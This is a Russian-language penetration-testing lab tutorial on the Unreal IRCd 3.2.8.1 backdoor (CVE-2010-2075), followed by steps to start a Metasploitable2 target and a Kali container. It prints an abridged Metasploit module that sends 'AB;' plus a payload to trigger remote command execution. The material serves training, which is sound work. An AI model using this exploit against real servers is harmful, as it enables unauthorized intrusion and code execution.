Понимание уязвимости Unreal IRCd и запуск экспериментальной среды
Версия Unreal IRCd 3.2.8.1 содержит уязвимость в виде бэкдора (CVE-2010-2075), которая позволяет удаленным злоумышленникам выполнять произвольный код на зараженной системе. Уязвимость находится в макросе DEBUG3_DOLOG_SYSTEM
, который включает в себя внешний вредоносный код, который может быть использован злоумышленником.
Рекомендуемая информация:
Модуль Metasploit для эксплойта этой уязвимости:
Вот краткое описание модуля Metasploit:
## Require necessary modules
require 'msf/core'
## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
## Module initialization with details like name, description, author, references, etc.
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
#... (omitted for brevity)
))
## Set default options
register_options(
[
Opt::RPORT(6667)
], self.class)
end
## Exploit method
def exploit
## Connect to the remote service
connect
## Print banner information
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
## Send the backdoor command
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
## Wait for session creation or timeout
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
Теперь вы должны запустить машину-атакующую (контейнер Kali Linux) и целевую машину (виртуальную машину Metasploitable2) для эксперимента.
- Откройте терминал xfce на хост-машине LabEx и запустите целевую машину Metasploitable2, выполнив следующую команду:
sudo virsh start Metasploitable2
Подождите, пока целевая машина запустится, это может занять от 1 до 3 минут.
- Проверьте связь с целевой машиной, отправив ей пинги:
ping 192.168.122.102
Нажмите Ctrl+C
, чтобы остановить пингование.
- Запустите контейнер Kali Linux и войдите в среду bash, выполнив следующую команду:
docker run -ti --network host b5b709a49cd5 bash
- Внутри контейнера Kali проверьте сетевое соединение с целевой машиной:
ping 192.168.122.102
Нажмите Ctrl+C
, чтобы остановить пингование.
Теперь и машина-атакующая, и целевая машина запущены, и вы можете приступить к пентестингу.
Примечание: Если вы случайно выйдете из текущей оболочки bash, контейнер Kali автоматически остановится. Вы можете снова выполнить команду docker run -ti --network host b5b709a49cd5 bash
на хост-машине, чтобы запустить новый контейнер Kali и войти в bash для продолжения эксперимента.